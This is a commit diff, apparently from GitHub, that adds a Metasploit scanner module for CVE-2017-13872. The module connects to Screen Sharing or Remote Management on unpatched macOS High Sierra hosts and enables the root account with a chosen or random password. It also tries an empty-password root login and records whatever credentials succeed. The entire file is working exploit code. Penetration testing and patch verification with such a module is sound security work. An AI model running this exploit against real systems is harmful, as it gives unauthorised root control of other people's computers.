|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/proto/rfb' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + include Msf::Exploit::Remote::Tcp |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Auxiliary::Scanner |
| 12 | + |
| 13 | + def initialize |
| 14 | + super( |
| 15 | + 'Name' => 'Apple Remote Desktop Root Vulnerability', |
| 16 | + 'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.', |
| 17 | + 'References' => |
| 18 | + [ |
| 19 | + ['CVE', '2017-13872'], |
| 20 | + ['URL', 'https://support.apple.com/en-us/HT208315'] |
| 21 | + ], |
| 22 | + 'Author' => 'jgor', |
| 23 | + 'License' => MSF_LICENSE |
| 24 | + ) |
| 25 | + |
| 26 | + register_options( |
| 27 | + [ |
| 28 | + Opt::RPORT(5900), |
| 29 | + OptString.new('PASSWORD', [false, 'Set root account to this password', '']) |
| 30 | + ]) |
| 31 | + end |
| 32 | + |
| 33 | + def log_credential(password) |
| 34 | + print_good("Login succeeded - root:#{password}") |
| 35 | + |
| 36 | + service_data = { |
| 37 | + address: target_host, |
| 38 | + port: rport, |
| 39 | + service_name: 'vnc', |
| 40 | + protocol: 'tcp', |
| 41 | + workspace_id: myworkspace_id |
| 42 | + } |
| 43 | + |
| 44 | + credential_data = { |
| 45 | + module_fullname: self.fullname, |
| 46 | + origin_type: :service, |
| 47 | + username: 'root', |
| 48 | + private_data: password, |
| 49 | + private_type: :password |
| 50 | + }.merge(service_data) |
| 51 | + |
| 52 | + credential_core = create_credential(credential_data) |
| 53 | + |
| 54 | + login_data = { |
| 55 | + core: credential_core, |
| 56 | + last_attempted_at: DateTime.now, |
| 57 | + status: Metasploit::Model::Login::Status::SUCCESSFUL |
| 58 | + }.merge(service_data) |
| 59 | + |
| 60 | + create_credential_login(login_data) |
| 61 | + end |
| 62 | + |
| 63 | + def run_host(target_host) |
| 64 | + begin |
| 65 | + if datastore['PASSWORD'].empty? |
| 66 | + password = Rex::Text::rand_text_alphanumeric(16) |
| 67 | + else |
| 68 | + password = datastore['PASSWORD'] |
| 69 | + end |
| 70 | + |
| 71 | + connect |
| 72 | + vnc = Rex::Proto::RFB::Client.new(sock) |
| 73 | + if vnc.handshake |
| 74 | + type = vnc.negotiate_authentication |
| 75 | + unless type = Rex::Proto::RFB::AuthType::ARD |
| 76 | + print_error("VNC server does not advertise security type ARD.") |
| 77 | + return |
| 78 | + end |
| 79 | + print_status("Attempting authentication as root.") |
| 80 | + if vnc.authenticate_with_type(type, 'root', password) |
| 81 | + log_credential(password) |
| 82 | + return |
| 83 | + end |
| 84 | + end |
| 85 | + disconnect |
| 86 | + |
| 87 | + connect |
| 88 | + vnc = Rex::Proto::RFB::Client.new(sock) |
| 89 | + print_status("Testing login as root with chosen password.") |
| 90 | + if vnc.handshake |
| 91 | + if vnc.authenticate_with_user('root', password) |
| 92 | + log_credential(password) |
| 93 | + return |
| 94 | + end |
| 95 | + end |
| 96 | + disconnect |
| 97 | + |
| 98 | + connect |
| 99 | + vnc = Rex::Proto::RFB::Client.new(sock) |
| 100 | + print_status("Testing login as root with empty password.") |
| 101 | + if vnc.handshake |
| 102 | + if vnc.authenticate_with_user('root', '') |
| 103 | + log_credential('') |
| 104 | + return |
| 105 | + end |
| 106 | + end |
| 107 | + |
| 108 | + ensure |
| 109 | + disconnect |
| 110 | + end |
| 111 | + |
| 112 | + end |
| 113 | +end |
0 commit comments